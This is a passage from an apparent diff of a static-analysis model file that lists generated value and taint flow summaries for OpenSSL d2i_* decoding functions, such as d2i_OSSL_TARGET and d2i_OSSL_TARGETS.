"Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[**0]", 